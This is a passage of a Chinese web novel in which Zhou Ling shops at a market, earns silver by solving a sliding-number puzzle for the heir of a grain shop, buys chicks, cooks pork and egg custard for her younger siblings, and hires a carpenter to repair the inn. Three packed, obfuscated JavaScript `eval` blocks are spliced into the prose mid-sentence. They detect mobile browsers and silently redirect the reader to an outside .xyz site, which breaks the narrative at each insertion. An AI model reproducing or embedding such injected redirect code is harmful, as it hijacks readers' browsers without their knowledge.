周灵愣了一息，她今天身上才带了一吊钱，也就是一千文铜钱，这么快就用掉了半吊多钱……她后知后觉地想，方才是不是有些大手大脚了？ 没办法，买东西时容易上头是她一贯的毛病，如今囊中羞涩才感到为难，稍后采买其他物什需要花销的地方也不少，剩下的铜钱会不会不经花？ 可眼前要买的粮食佐料也都是客栈做生意与日常生活要用的，况且伙计已经都包上了…… 周灵正咬唇纠结，这时门外冲进来一个火急火燎的男子，从她身侧嗖地经过，一下蹿到了柜台后面。 身边的伙计没催周灵结账，反而转身走向刚闯进来的男子，恭敬地拱手鞠躬行礼：“少爷。” 少爷？难不成这个风风火火的锦袍男子，便是金氏粮铺的少东家？ 周灵好奇地默默打量着，只见那男子神色焦急，手里举着个不寻常的方形木块，拉着算帐的掌柜问：“张叔，你算术一向最好，快帮我瞧瞧这个重排九宫，怎样解最快？” 张掌柜搁下算盘，接过金纶手中可以滑动的数字木块九宫格，上下左右滑动了半天，解出了答案：“少爷，像这般移动，花二十步可解。” “二十步？”金纶皱着眉发脾气：“怎么能花二十步呢！我跟林长栋打了赌，他只要十五步就能解出来，你却教我二十步的解法，这不是让我等着输吗！” “我不管，你再仔细想想，有没有更快的解法。”金纶抱臂坐在柜台前，无赖似的盯着张掌柜。 张掌柜无奈，又拿起九宫格滑动半天，小心觑着这位不好惹的少爷，犹豫道：“这回比刚才快了些，但也得……十八步。” 金纶咬着腮帮子生闷气，骄纵的脸庞又气又悔，难不成他又要输给林长栋了？ 张掌柜僵立在一旁不停流汗，不知如何请走这位小祖宗，恰在此时，周灵出声道：“我有办法，不用十步便可解。” 金纶望过来，上下打量这个夸下海口的小女子，半信半疑道：“此话当真？” “自然当真。”周灵抿唇轻笑，一副胸有成竹的模样。她从前常玩数字华容道的小游戏，方才听到“重排九宫”，便多看了两眼那个九宫方形木块，果然是她以前解过的谜题。 张掌柜瞥了眼这个年轻面嫩的小丫头，并不相信她能比自己还厉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478887|169979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害，不用十步便可解出来。但眼下有人能转移金纶的注意力，让自己免遭责骂，他如释重负般松了口气。 金纶把九宫滑块递过来，让周灵演示给他看，如何能不到十步便解出谜题。 周灵接过来，手指抬到一半又止住：“我就这么白白给你瞧？我这解法鲜有人知，也不是无价之物噢。” 金纶不缺银子，但身上鲜少带钱，于是他从张掌柜兜里摸出一锭银子，放在柜台上：“你若是能十步之内解出来，这五两银子便是你的，你方才买的这些东西，也都不计银钱。” 五两银子！ 周灵眼睛一亮，唇角掩不住笑意。五两银子对于金家少爷来说，九牛一毛都算不上，可对于周灵来说，却是好大一笔钱，够她精打细算花上许久了！ “成交！”她立刻应下，随后把重排九宫的解法演示给金纶看。 “往这边走再上移，可以省去好几步……这样便是最短的路线，只需九步。” 金纶眼睛都看直了，呆呆地望着周灵，舌头像打结了一样说不出完整的话来……眼前的女子实在聪慧过人，是他生平见过最机敏的，可他向来不习惯夸人，此刻别扭地说不出夸赞的话。 “你是不是没看明白？”周灵拨回九宫格，问他要不要再来一遍。 “不、不用了……”金纶涨红了脸，口气生硬地为自己辩解：“我记性很好，看一遍就记住了。这银子你拿去吧。” 周灵不客气地收下银子。 金纶瞥见她买了不少粮食，一个人也不方便搬回去，便吩咐店里的伙计稍后驾牛车帮她运回去。 周灵笑着连声道谢：“多谢金少爷慷慨相助，只是我还要去买些其他东西，晚点再过来搭车行吗？” 金纶点头，等她离开粮铺，他吩咐店里的伙计：“留意这位女郎的住处，晚点告知我。” 张掌柜诧异地瞧了金纶一眼，目光有些复杂。其实金纶的想法很简单，他没想那些风月之事，只是想找个军师帮他解题，这样将来再有赌约，便不担心输掉了。 5. 小鸡养殖计划 手里有了充足的银钱，接下来的采买便顺利多了。 周灵在李屠夫那儿买了一大块猪板油和两块五花肉，又走到卖家禽的摊位前，打算买些鸡蛋。 鸡蛋三文钱一个，她买下二十个后，瞧见旁边笼子里有一窝小鸡仔，毛茸茸黄澄澄的小鸡崽子抱团窝在笼子里，叽叽喳喳地叫不停。 可爱死了。周灵好想拎起一只小鸡崽子在手心里玩，又怕不小心捏死了。 “这鸡崽子怎么卖呀？” “八文一只。” 不算太贵，周灵想着买回去养大以后，还能下蛋，平日里拿卖剩下的饭菜喂一喂，也不浪费，两全其美。 她最后买了五只小母鸡崽子，装进柳条编的简易鸡笼里带回去。 卖家说再养三个月便能下蛋了，周灵顿时觉得时日有些久，就问当下已能产蛋的老母鸡要多少钱，没想到要二百文！ 算了算了，还是买小鸡崽子自己养吧！自己养大的小鸡崽子，说不定下的蛋更香呢，她熟练地安慰自己。 周灵在几个摊位间转了转，不知不觉时辰已近晌午，东市上赶集的人多半是早市过来，临近晌午便收摊回去，热闹的市集渐渐冷清下来，没有早上那般热火朝天、人头攒动的景象，街边只有稀稀拉拉的行人。 周灵想着今日买的东西也够多了，一日也不可能都买全了，来日方长，过日子有什么缺漏的再慢慢补上。 待她返回金氏粮铺，店里的伙计已经套好牛车等着她了。采买一上午的各种粮食活禽，都被伙计帮忙搬到了牛车上，堆了半边车厢。 周灵坐在牛车上，心想今日多亏了这金家少爷，既让她不费吹灰之力白赚了五两银子，又顺便让伙计帮她运送粮货回去，不然她一个人真难把这半车的货都抱回去。 搭车之前，她还往粮铺里多瞅了几眼，没瞧见那位出手阔绰的金少爷，估计是离开了。看来他平日不在粮铺里，今日出现也是偶然。 平时不出现，一出现就爆金币……这不就是游戏里随机刷新的特殊NPC？一旦遇到就能触发各种特殊事件，帮他解谜就能爆金币。 周灵摸着下巴，深以为然地点点头。她才第一回碰到他，就无痛搞到了五两银子，成了她客栈开业前的第一桶金……那往后手头紧了，是不是可以想办法偶遇这位少爷，刷新任务爆金币啊？ 想到这儿，周灵噗嗤笑出了声。虽然穿越后日常的真实感，让她时常觉得这儿的生活并不像一场游戏，但是她依然可以苦中作乐地幻想一番，把自己当成是这场游戏的主角，心态也变得更从容—— 一切发生皆有利于我，不必为眼前的困顿灰心。 牛车很快到了安阳巷附近，周灵对赶车的伙计示意：“在前面左拐的路口就到了。” “是这间……云溪客栈么？”匾额上的字迹有些模糊了，伙计有些吃力地辨认。 “是噢，就这里。”周灵也瞧见门头匾额灰扑扑的，木纹干裂字迹不清，昨日打扫时没留意，漏掉了这么重要的客栈招牌。这样破落的招牌挂在门头，怕是会劝退不少客人上门。 牛车停了下来，周灵把匾额的事情按下心头，先跟伙计一起把车上的货物卸下来。 粮货卸在客栈门前，她跟伙计连声道谢。虽然是金家少爷吩咐伙计帮她送过来，可伙计也辛苦帮她搬了好多东西，周灵请他进去喝口水歇歇脚再走。 伙计摆摆手，说粮铺里离不开人，得先回去了。临走前问周灵，这客栈之前关门歇业许久了，如今是要准备着重新开起来么？ 周灵点点头，她的确打算这两日尽快开业，所以急着采买了许多粮货。 眼下知晓这间客栈重新开业的人不多，周灵趁机请伙计帮忙宣扬一番，许诺道：“当日若有东市来的食客，每个算你两文钱。” 东市离这儿不算远，伙计跟东市上的摊贩大多熟识，不过多嘴提一提的事，伙计欣然应下。他也不敢托大：“提一嘴容易，可能来多少人便不可知，还请女郎宽心。” 周灵知道要拓宽客源不能急于一时，她只是想客栈开业的消息尽可能广而告之，雍都城里知晓的人越多越好。 客人也许今日不登门，明日不登门，但说不准哪一日便登门了呢。 客栈经营要细水长流，她不急，清楚赚取银钱与人心，都得慢慢累积。 * 周岩正在伙房灶下烧火，听到门口的动静，他跑过来一看，啧啧赞叹：“阿姊，你也太厉害了吧，一上午居然买了这么多东西，够咱们吃好久了吧！” “不光是咱们自个儿吃的，过两日客栈开业了，得做成点心拿出来卖的。” 周岩挠挠头，他倒忘了这茬了。 “先把这些抬进后厨吧”，周灵鼻子灵，忽然嗅闻到一股米饭香气，顿觉饥肠辘辘：“好香啊，你蒸米饭了？” 周岩一边搬着麦粉一边答道：“嗯，我估摸着阿姊你晌午该回来了，就先烧火蒸了米饭，现在差不多熟了。” 周灵折腾了一上午，正觉得饿，夸他聪明能干，还知道提前生火做饭。 周岩把两斗麦粉都搬进了后厨杂物间，折返回来问阿姊：“那中午吃什么菜呢，还是切点酱菜打个汤么？” “傻小子，光吃酱菜啊，你瞅瞅这是啥？”周灵变戏法似的，从一堆粟米稻谷后面变出两块肉色漂亮的猪五花，提在周岩眼前晃了晃。 周岩眼睛直溜溜地跟着晃动的五花肉转来转去，然后如梦初醒般大声叫唤，带着浓浓喜色：“猪五花！阿姊你买了猪五花！这么大块……一定香死了！” “不止是猪五花噢，还有猪板油、鸡蛋，往后咱们每顿都能吃上荤油了！” 可把孩子激动坏了，周岩一手提着五花肉，一手抱着沉甸甸的鸡蛋，下意识咽了咽口水……不敢想，好日子这么快就来了。 周灵看着他惊喜满足的样子，弯了弯唇角，也被他感染得快乐了许多。过惯了苦日子的小孩太容易满足了，眼下只是有鸡蛋和肉吃，就是一种极大的幸福，仿佛抚平了日子的贫瘠与愁苦。 可对于习惯了物资丰富的现代人来说，要在古代过上舒心如意的日子，还有很长的一段路要走。 周芸穿着不合脚的小鞋子，迈着拖拖沓沓的小碎步，撩开门帘从后院小跑了过来。 “阿姊……”她背在身后的小手伸出来，递到周灵面前：“花花。” 白色的小花，花瓣小小的，围着淡黄的花蕊，香 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478888|169979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气浅淡。应该是墙角杂草丛里长出来的不知名小花，此刻被小女孩紧紧攥在手里，献宝似的送给阿姊。 “哇噢，好漂亮的小花呀，帮阿姊戴上。”周灵语气夸张地赞叹，然后蹲下来低着头，等周芸把花插入她的鬓间。 周岩站在一旁看着，他不懂女孩们的钗环发饰，但他知晓阿姊平日里没有首饰，总是简单盘个发髻，留一条长长的马尾垂在脑后……此刻鬓间那一朵白色小花，倒衬得阿姊头发乌黑，鲜妍活泼。 旁边柳条笼里的小鸡仔们颠簸了一路，来到陌生的地方后安静了一会儿，现在又开始叽叽喳喳地叫唤起来，探头探脑地打量着周遭。 “小鸡，小鸡……和小鸡。”周芸的注意力完全被这一笼小鸡崽子吸引了，隔着笼子数起了数。 “一二三……不对，一二三…四……” 毛茸茸的小鸡抱团窝在一起，都是嫩黄的颜色，一会儿探出脑袋一会儿又缩着头，周芸掰着指头，数了老半天也没数明白。 周灵笑着摇摇头：“咱们先进去，吃完午饭把小鸡放出来再数。” 东西都搬进了后厨，周灵拿出一块五花肉和三个鸡蛋，准备做红烧肉和鸡蛋羹。 米饭已经熟了，盛出锅后，她用清水涮了遍锅，回头一看周岩正在案板前切肉。 他切肉的经验少，一手按住五花肉，一手抓着钝口的菜刀来回切割，好半天才切下来一块。 周岩抿着唇有些懊恼，明明昨晚看阿姊切腊肉那么熟练且迅速，怎么这把刀到了自己手里便这般不听话，还容易打滑。 他越心急越用力，菜刀在布满猪油的肉块上一打滑，刃缘从他的左手指尖边缘堪堪滑过。 若是刀锋再利一些，只怕要破皮流血了。 周灵忙过去叫停：“搁下刀，我看看，伤着手没？” “放心，没切着手。”周岩低着头绞着手指，声音也低下去：“阿姊，我太笨了……” 他有些忐忑，担心阿姊会责骂他。从前寄住在姑母家时，他若是做事笨手笨脚或是不小心搞砸了什么，总会被严厉地责骂。 “切菜是熟能生巧的活，哪有什么笨不笨的。这把刀有些钝了，不能光使蛮力，得用巧劲，像这样……”周灵示范给他看，“左手要按牢了五花肉，不然一打滑容易切着手，右手抓着菜刀刀柄和刀背相连的部位，用刃缘相对锋利的部分顺着肌肉纹理切下去。” 没想到阿姊没有责怪他，周岩舒了口气，认真看阿姊的示范。 “你再试试，是不是好切一些了？” 周岩试了试，的确比刚才顺手多了，肉片切出来也均匀一些，不会是厚厚的一大坨。连着切了几块后，菜刀在他手里越来越听话了，他紧抿的唇角浮现一丝笑意。 “刀工都是练出来的，刚开始切菜都不顺手，切多了就好了。别着急慢慢来，没切着手就成。”周灵见他切肉的速度慢下来，不那么急躁了，手上动作沉稳许多，没刚才陡然打滑那么让人心惊肉跳了。 她放下心来，让他一个人练练手，转身提着另一块五花肉去了曾阿婆家。 曾阿婆正在家中烧菜，曾玉跑过来开了门。 “阿婆，是周家姐姐过来了！” 6. 修缮朽坏扶梯 曾玉一嗓门把曾阿婆喊了过来。 周灵把手里的五花肉递过去，笑吟吟道：“阿婆弄饭呢？正好我刚从东市买了两块猪五花，我们吃不完，拿一块给您。” 今年年景不好，猪肉比去年涨价了三成，普通百姓平时都不能日日吃得起，哪有不小心买多了吃不完的道理？ 曾阿婆知道周灵是怕自己不肯收，故意这样说的。 “你们三个孩子也不容易，过日子该省着点儿花，挣点儿银钱不容易……”阿婆摇摇头，轻声责备道。她的儿子儿媳长年在外头做工，平时鲜少回来，就这样一年到头也挣不到太多银子。 如今周家没有大人做顶梁柱，曾阿婆担心这几个孩子少不更事，把自家仅有的积蓄挥霍了，往后的日子不好过。 周灵笑眯眯地应和：“是呢，您说得对，过日子是不能大手大脚，下回我一定注意。可这回已经买多了，吃不完要放坏的，您就先收下吧！” 曾阿婆无奈叹口气，这丫头口齿伶俐，总有说辞来劝她收下。她推辞不过，只好接过了五花肉，顺道邀请周灵留下来吃饭。 周灵忙摆手：“不了阿婆，我家后厨已经做好饭了，我下回再来蹭饭吧。” 临走前，周灵问阿婆借了一块磨刀石，又想起客栈破旧的匾额和朽坏的木梯，她问阿婆：“您可识得修缮屋子的木工，最好近日有空登门的？” 曾阿婆对附近街巷的本地人都熟识，很快给她推荐了芝麻胡同口的木工朱师傅。 “他人有点怪，可是手艺很好的，做事也厚道，不会偷工减料。” 听见曾阿婆这般形容朱师傅，周灵也对此人起了份好奇。 挥别曾阿婆，周灵回到云溪客栈。 周岩已经把五花肉切好了，正准备下锅，又怕自己做得不好吃，平白糟蹋了这么好的肉。 周灵接过锅铲，把磨刀石递给他：“放着我来，你去把菜刀磨一磨，磨利了下回就省事儿了……” 话音未落，周岩便夺下磨刀石，抄起菜刀跑到水井边磨刀去了。可见刚才用这把钝菜刀切肉，实在切得人恼火，早就恨不得把刀口狠狠磨光了。 周灵好笑地觑着他的背影，不忘叮嘱一句：“小心着点，别割伤了手！” 炒菜之前，周灵先把上午采买的糖盐酱醋清点出来，用窄口碗碟每样盛一点，摆在灶台附近一伸手就能够着的地方。 她先下入白糖炒了个糖色，再把五花肉放入锅中沾满糖色，最后加水炖煮，临出锅前调味，盛出来便是一碗令人垂涎的红烧肉了。 鸡蛋羹做起来更快，蛋液和温水混合搅拌好，加少许食盐调味，上锅蒸上一会儿，端出来便凝固成型。她火候把握得刚好，蒸好的鸡蛋羹表面光滑，像一块黄色布丁。 可惜没有葱花，不然会更香。她默默记下来，把小葱列入下次的采买计划中。 “菜都做好了，快过来吃饭吧!”周灵高声呼唤，把院子里的两个人都喊进来了。 周岩亮出刚磨光的菜刀，眉眼淬亮，带着几分兴奋几分得意，期期艾艾地问：“阿姊，我磨刀的手艺怎么样？” 周灵看得出来，这小子其实挺满意自己的成果，故意憋着口气，等别人夸他呢。 她故作沉吟，顿了两秒：“嗯……还行吧。” “就……只是还行么？”周岩挠挠头，语气低落下去。 是个自信心不足的小孩呢，没有得到充分的肯定就开始怀疑自己了。周灵不忍心再逗他，笑着改口道：“刚刚逗你呢，这磨得相当好啦！这么老的菜刀，被你磨得跟新的一样，锃光瓦亮的，肯定砍肉切菜都不在话下！” 这一番吹嘘，直把周岩听得不好意思了，红着脸把菜刀和磨刀石搁下，洗净手坐到饭桌前。 周芸也从院子里走进来，这个小不点刚才消失了许久，原来是一个人蹲在院子角落里看小鸡呢。 她拿着院子里摘下的杂草，一根根塞到笼子里去逗弄小鸡崽子。小鸡崽子们一开始害怕得缩成一团，后来发现没有威胁，渐渐胆子大了，争相啄着草叶玩。 周芸把自己的手指也伸进了笼子里，想摸一摸小鸡，很快被鸡崽子不客气地叨了一口。她嘴巴立马扁了扁，但又不服输地忍住了，没有哭。 周灵带着她去水盆前，把她手上沾染的青绿色草液洗干净，顺便听她咿咿呀呀把刚才和小鸡玩的经过讲了一遍。 “小鸡坏。”软软的童声，即便说气话也是甜甜的。 “等会儿吃完饭，咱们把小鸡都赶到大笼子里，以后就由你来当小鸡的饲养员，好不好？” 周芸不明白什么是饲养员，但依旧兴奋地重重点头，仿佛听到跟小鸡有关的事情都很高兴。 周岩眼巴巴地望着桌上油光红润的红烧肉，口水吞了又吞，手指在筷子上反复摩挲，等不及想夹一筷子，可长姐还在给小妹洗手，他咬着嘴唇忍了忍，还是搁下筷子，伸长了脖子巴望着长姐的背影。 周灵揽着周芸洗干净手，一回头便瞧见周岩板板正正地坐在饭桌前，眼睛却一瞬不眨地盯着那盘红烧肉，喉咙上下滚动…… “你口水流出来了，快擦擦！” 周岩下意识抬手去擦嘴角，唇边一片干燥，哪有什么……他才反应过来，是阿姊在逗他。 “哪有口水……阿姊你骗人。”周岩嘟囔道。 “不逗你了，赶紧动筷子吧，再不吃口水真滴下来了。” 周岩立马把筷子伸向红烧肉，炖得软烂肥糯的红烧肉带着甘香红润的汤汁，不用多嚼便在口中化开，汤汁浸透米粒，直把那股肉香也渗进去。 “这肉炖得真香！”周岩咽下一大口，舔舔唇边的汤汁，意犹未尽：“以前过年节的日子也能吃到五花肉，但村里大多是白水简单炖煮一下，放点盐巴，当时吃不觉得什么，现在想起来，那炖肉有股明显的猪肉膻味，跟阿姊你做的完全像是两种肉！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478889|169979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周灵知晓贫苦年月里有肉吃就不错了，哪还会花心思把肉去腥膻，变着花样地做出美味呢。她笑眯眯道：“你慢着点儿吃，狼吞虎咽地，脸都吃成花猫了。” “哪有，我不信。”周岩吃一堑长一智，不相信阿姊的调侃了。 “这次是真的！”周灵见他不信，让旁边正埋头吃蛋羹的周芸来评评理。 周芸抬起头，露出沾上蛋羹的鼻尖，小手对着周岩指指点点：“哥哥是花猫。” 周岩：“你……五十步笑百步！”然后转身打水清洗去了。 周芸听完哥哥的话一脸茫然，又埋头继续干饭。今天的蛋羹特别顺滑，她用勺子舀着吃不过瘾，最后脸几乎埋进碗里，蹭得嘴边鼻尖都是黄黄的，活像一只可爱的小鸡。 午饭过后，周灵本想把那块猪板油给炼了，但想到开业在即，客栈的木梯和二楼客房得尽快修缮好，还是得早些动身去寻那位木工朱师傅。 想起阿婆形容那位朱师傅人有些怪，周灵有些忐忑，也不知是怎么个怪法，好不好相处。 揣着这样的念头，她一路寻到了芝麻胡同口，向周遭路人略一打听，便到了朱府门前。 叩响门环后，一位面善的年轻妇人来开了门，周灵说明来意，妇人转身朝里喊了声“相公”，片刻后，一个身材矮小的男子提着木箱走了过来。 “朱师傅，叨唠了。”周灵客气地打了个招呼，表明自己是曾阿婆的邻舍，想请他修缮客栈的破损处。 她打完招呼，又说了一长段话解释来意，可朱师傅从头到尾漠然听着，只简单地回复：“好，走。”眉目间似有些不耐烦，仿佛不愿和她多说两句话。 周灵无奈地耸耸肩，安慰自己忽略这些细枝末节，能把事情办得漂亮就行。 一路领着朱师傅到了客栈，周灵把通往二楼的木梯指给他看：“这几根木板被水泡坏了，二楼的屋檐漏了，客房估摸着也泡坏了，您看看该怎么修，工钱如何算？” “先看，再说。”又是简洁的几个字搪塞过去。 好在朱师傅不耐烦多说话，做事却颇细致，小小的木箱里各式工具齐全。他拿着锤子把从上到下的木梯阶层一一检查了一遍，朽坏不稳的木头先用小块的木板钉牢加固一遍，然后小心踩上去试了试承重。 “这样便好了？”周灵看着朱师傅在木梯上下走动，很是平稳。只是许多块小木板一摞摞钉在木梯上，显得有些累赘难看。 木梯好歹是能用了，周灵拿不准，这算不算已经修好了……太难看了也会影响客栈生意吧！ 朱师傅瞥了她一眼，没吭声，又径直往上走了。 周灵也连忙跟上去，到了客栈二楼。 说起来，这还是她头一回到客栈二楼，虽然她在原身记忆里看到过一些二楼客房的景象，但这跟她眼前看到的模样……大相径庭。 确切地说，客房的毁损情况比她想象中更严重。